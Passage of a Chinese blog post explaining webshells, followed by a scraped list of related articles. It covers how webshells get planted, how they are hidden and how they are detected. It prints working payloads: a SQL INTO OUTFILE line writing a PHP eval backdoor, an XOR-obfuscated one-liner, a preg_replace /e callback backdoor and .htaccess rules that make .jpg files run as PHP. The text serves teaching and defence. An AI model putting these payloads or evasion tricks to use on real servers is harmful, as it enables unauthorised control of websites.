0x00 什么是webshell

攻击者以asp、php、jsp等网页文件形式保存在Web服务器上的一种命令执行环境,也可称为网页后门。
攻击者使用浏览器访问webshell,得到一个命令执行环境,以达到控制网站或服务器的目的

0x01 如何获取webshell

利用网站的文件操作漏洞将webshell写入网站目录中

SQL注入

利用条件:
  • 当前mysql用户拥有FILE权限
  • 网站未对单引号进行转义
payload:
select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';

上传漏洞

利用条件

文件上传操作如头像、评论等,对用户上传文件过滤不严格,上传机制可被绕过,导致脚本文件的上传

任意代码执行

利用条件

用户传入参数被服务器脚本以源码方式执行
可直接插入恶意代码或利用脚本对应的文件写入操作写入webshell

任意文件包含漏洞

利用条件

网站动态包含配置文件
包含图片、日志文件等执行恶意代码

后台功能

利用条件

获取并进入网站后台管理界面,具有对网站文件写入与修改、数据库或文件备份、文件上传等权限

webshell收集

GitHub:WebShell收集项目

0x02 webshell的隐藏

  • 文件包含

    服务器内某访问量小、对网站影响小脚本文件中加入include(‘/upload/xx.jpg’);包含所上传的webshell文件

  • 命名:命名、存放位置具有诱惑性 : /admin/help.php

  • 改变编码格式
<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
#利用异或运算:<?php @$_POST[0]($_POST[1])?>   xxx=eval($_POST[1]);
  • callback函数
<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>cmd=<title>{${phpinfo()}}</tile>
  • 修改已有脚本代码

    在网站访问量小、不影响网站功能的脚本文件中加入一句话木马等

  • .htaccess文件

    当服务器开启.htaccess文件解析可在upload文件夹内创建.htaccess文件写入下面内容

AddType application/x-httpd-php .jpg
<Files demo.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>

在下学识浅薄,请诸位大神补充,感激不尽

0x03 webshell检测

webshell运行流程

hacker -> HTTP Protocol -> Web Server -> CGI
webshell为一个合法的http连接,在TCP/IP的应用层之下没有任何特征(谁知道呢)只能进行应用层检测

检测方式

静态检测

匹配文件特征码、特征值、危险函数eval等来查找webshell
依据特征码弱强特征,结合人工判断,可减少漏报误报概率
利用文件系统的属性判断,无缘无故多出的nobody属性文件必定有问题(Apache是nobody启动)

弱点: 漏报误报率较高,无法查杀变种及0day型
动态监测

依据webshell文件执行表现的特征即动态特征,如菜刀操作的特征

webshell命令执行时必会创建bash或IIS User启动cmd 由PID进程号定位webshell

http异常模型检测,检测若有有用户访问一个从未访问过的文件并得到200响应,很容易定位webshell

修改内核,hook一些危险函数eval、asset,重新编译php;

弱点:降低php性能及业务性能

日志检测

webshell访问特征
- 少量ip发起fangwen
- 总访问次数少
- 该页面属于孤立页面

干扰数据:

管理后台等正常孤立页面
扫描器行为

0x04 有待补充

over

Web安全之:WebShell的获取与查杀相关推荐

  1. 应急响应 -162天:webshell和内存马查杀

    首要任务: 获取当前WEB环境的组成架构(语言,数据库,中间件,系统等) #IIS&.NET-注入-基于时间配合日志分析 背景交代:某公司在某个时间发现网站出现篡改或异常 应急人员:通过时间节 ...

  2. 【Web安全】几款web安全查杀工具

    什么是Webshell? Webshell就是ASP,PHP,JSP,CGI等网页文件形式存在的一种代码执行环境,或者说是后门.黑客入侵网站可以通过编写好的后门获得网站或网站服务器的某种权限,获得权限 ...

  3. [应急响应]7款WebShell扫描检测查杀工具

    1.D盾 防火墙 阿D出品,免费,GUI,WebShell扫描检测查杀 功能特性简介 支持系统:win2003/win2008/win2012/win2016 PHP支持:FastCGI/ISAPI ...

  4. 常见的 Webshell 查杀工具

    前言 当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞. 本文推荐了10款 WebShll 检测工具,用于网站入侵排查.当然 ...

  5. 应急响应之Webshell查杀工具

    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞. 本文推荐了10款Webshll检测工具,用于网站入侵排查.当然,目前市场 ...

  6. 应急响应入侵排查之第三篇常见的 Webshell 在线查杀工具

    文章目录 前言 工具一:D盾_Web查杀 工具二:百度 WEBDIR+ 工具三:河马 工具四:bot_net 摘抄 前言 当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现we ...

  7. ASP WebShell 后门脚本与免杀

    随着时间的推移和其它新型动态网页技术的兴起,使用ASP(Active Server Page)技术构建的Web应用越来越少.ASP的衰落.旧资料和链接的失效.前辈们早期对ASP较多的研究,都导致了新型 ...

  8. linux 查杀php木马,linux上php木马、后门查杀总结

    Web Server(Nginx为例) 1.为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多个程序池达到隔离效果) 2.上传目录.include类的库文件目录要禁止代码执行(Nginx正 ...

  9. d盾web查杀 linux,D盾扫描_D盾_Web查杀 [webshell查杀]

    因为某些特殊目录无法删除,D盾_web查杀 加入了这类目录和文件的删除. 删除目录功能只能删除特殊的目录,如选定的目录不是特殊目录,此功能是无效的,防止误删除! 『D盾_Web查杀』 2015-07- ...

最新文章

  1. bazel源码编译Tensorflow
  2. git从master转到开发分支
  3. Java 3.基本数据类型
  4. 【Android 插件化】Hook 插件化框架 ( 创建插件应用 | 拷贝插件 APK | 初始化插件包 | 测试插件 DEX 字节码 )
  5. SSAS parent/child dimension
  6. oracle设置no null,Oracle 在not in中使用null的问题
  7. 广实1592: 1.6-06:校门外的树
  8. JSON格式转换工具
  9. 微信朋友圈服务器缓存,如何找到微信朋友圈照片缓存
  10. 2022CUDA夏季训练营Day5实践
  11. 2020.11.14--AE--图层八种形式、图层面板图标、查看器面板
  12. 听说 Python 生成二维码很简单,说的好像我Java 很复杂一样。
  13. C#替换方向性的 Unicode 控制字符,解决无法匹配iphone 通讯录复制的手机号码问题
  14. cocos2d_x之AnySDK接入流程
  15. Camera2 三预览
  16. 2019最新14个国外知名开发者社区
  17. 英语学习之沪江整理 20141101
  18. 大数据营销更需要消费者洞察
  19. 投资的N种认偏差总有款打败你
  20. 海外apk转换aab 十步流程

热门文章

  1. CF 115B. Lawnmower
  2. 攻防对抗形势下代码重用技术的演进
  3. java计算机毕业设计ssm党支部在线学习系统
  4. Visitor(访问者)设计模式
  5. python总结(数据类型、逻辑控制、函数、类与对象、推导式、解包、类型转换、异常、上下文、jsonpath、定时器)
  6. 天啦撸~ChatGPT通过国际软件测试工程师(ISTQB)认证了~
  7. C语言十大操作符超全详解【建议收藏】
  8. 凯恩帝1000对刀图解_凯恩帝数控机床对刀方法
  9. kafka连接mysql数据库,Kafka-connect-jdbc-source连接mysql数据库实战
  10. ftp命令行登陆 用法指南